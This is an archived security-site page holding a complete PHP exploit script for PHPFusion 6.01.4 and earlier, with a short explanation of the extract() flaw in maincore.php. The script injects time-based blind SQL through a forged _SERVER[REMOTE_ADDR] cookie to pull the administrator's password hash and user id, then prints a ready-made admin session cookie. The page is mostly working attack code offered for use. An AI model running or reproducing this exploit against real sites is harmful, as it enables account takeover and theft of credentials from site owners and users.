Visit our newest sister site!
Hundreds of free aircraft flight manuals
Civilian • Historical • Military • Declassified • FREE!


TUCoPS :: Web :: PHP :: b06-4615.htm

PHPFusion <= 6.01.4 extract()/_SERVER sql injection exploit



PHPFusion <= 6.01.4 extract()/_SERVER sql injection exploit
PHPFusion <= 6.01.4 extract()/_SERVER sql injection exploit



#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org=0D 
site: http://retrogod.altervista.org=0D 
--------------------------------------------------------------------------------=0D
');=0D
/*=0D
works with=0D
register globals = *Off*=0D
magic_quotes_gpc = Off=0D
=0D
explaination:=0D
vulnerable code in maincore.php at lines 15-21:=0D
=0D
...=0D
if (ini_get('register_globals') != 1) {=0D
	$supers = array("_REQUEST","_ENV","_SERVER","_POST","_GET","_COOKIE","_SESSION","_FILES","_GLOBALS");=0D
	foreach ($supers as $__s) {=0D
		if ((isset($$__s) == true) && (is_array($$__s) == true)) extract($$__s, EXTR_OVERWRITE);=0D
	}=0D
	unset($supers);=0D
}=0D
...=0D
=0D
extract() function can be sometimes a security hazard, in this case it allows=0D
to overwrite some arrays like _SERVER[] one and launch an sql injection attack,=0D
ex:=0D
=0D
http://[target]/[path]/news.php?_SERVER[REMOTE_ADDR]='[SQL]=0D 
=0D
other attacks may be possible...=0D
*/=0D
=0D
if ($argc<3) {=0D
print_r('=0D
--------------------------------------------------------------------------------=0D
Usage: php '.$argv[0].' host path OPTIONS=0D
host:      target server (ip/hostname)=0D
path:      path to PHPFusion=0D
Options:=0D
   -T[prefix:   specify a table prefix (default: fusion_)=0D
   -p[port]:    specify a port other than 80=0D
   -P[ip:port]: specify a proxy=0D
Examples:=0D
php '.$argv[0].' localhost /fusion/=0D
php '.$argv[0].' localhost /fusion/ -p81=0D
php '.$argv[0].' localhost / -P1.1.1.1:80=0D
--------------------------------------------------------------------------------=0D
');=0D
die;=0D
}=0D
=0D
error_reporting(0);=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
   $c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
   }=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$port=80;=0D
$proxy="";=0D
$prefix="fusion_";=0D
for ($i=3; $i<$argc; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
if ($temp=="-T")=0D
{=0D
  $prefix=str_replace("-T","",$argv[$i]);=0D
}=0D
}=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
$chars[0]=0;//null=0D
$chars=array_merge($chars,range(48,57)); //numbers=0D
$chars=array_merge($chars,range(97,102));//a-f letters=0D
$j=1;$password="";=0D
while (!strstr($password,chr(0)))=0D
{=0D
for ($i=0; $i<=255; $i++)=0D
{=0D
if (in_array($i,$chars))=0D
{=0D
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_password,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*";=0D
echo "sql -> ".$sql."\n";=0D
$sql=urlencode($sql);=0D
$packet="GET ".$p."news.php HTTP/1.0\r\n";=0D
$packet.="Accept: text/plain\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
usleep(2000000);=0D
$starttime=time();=0D
sendpacketii($packet);=0D
$endtime=time();=0D
echo "starttime -> ".$starttime."\n";=0D
echo "endtime -> ".$endtime."\n";=0D
$difftime=$endtime - $starttime;=0D
echo "difftime -> ".$difftime."\n";=0D
if ($difftime > 10) {$password.=chr($i);echo "password -> ".$password."[???]\n";sleep(1);break;}=0D
=0D
}=0D
if ($i==255) {die("\nExploit failed...");}=0D
}=0D
$j++;=0D
}=0D
=0D
$chars[]="";=0D
$chars[0]=0;//null=0D
$chars=array_merge($chars,range(48,57)); //numbers=0D
$j=1;$id="";=0D
while (!strstr($id,chr(0)))=0D
{=0D
for ($i=0; $i<=255; $i++)=0D
{=0D
if (in_array($i,$chars))=0D
{=0D
$sql="1.1.1.999'/**/UNION/**/SELECT/**/IF((ASCII(SUBSTRING(user_id,".$j.",1))=".$i."),benchmark(2000000,sha1('sun-tzu')),0)/**/FROM/**/".$prefix."users/**/WHERE/**/user_level=103/*";=0D
echo "sql -> ".$sql."\n";=0D
$sql=urlencode($sql);=0D
$packet="GET ".$p."news.php HTTP/1.0\r\n";=0D
$packet.="Accept: text/plain\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Cookie: _SERVER[REMOTE_ADDR]=$sql;\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
usleep(2000000);=0D
$starttime=time();=0D
sendpacketii($packet);=0D
$endtime=time();=0D
echo "starttime -> ".$starttime."\n";=0D
echo "endtime -> ".$endtime."\n";=0D
$difftime=$endtime - $starttime;=0D
echo "difftime -> ".$difftime."\n";=0D
if ($difftime > 10) {$id.=chr($i);echo "id -> ".$id."[???]\n";sleep(1);break;}=0D
=0D
}=0D
if ($i==255) {die("\nExploit failed...");}=0D
}=0D
$j++;=0D
}=0D
echo "admin cookie -> fusion_user=".trim($id).$password.";\n";=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/phpfusion_6-01-4_xpl.html=0D 
=0D
=0D


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH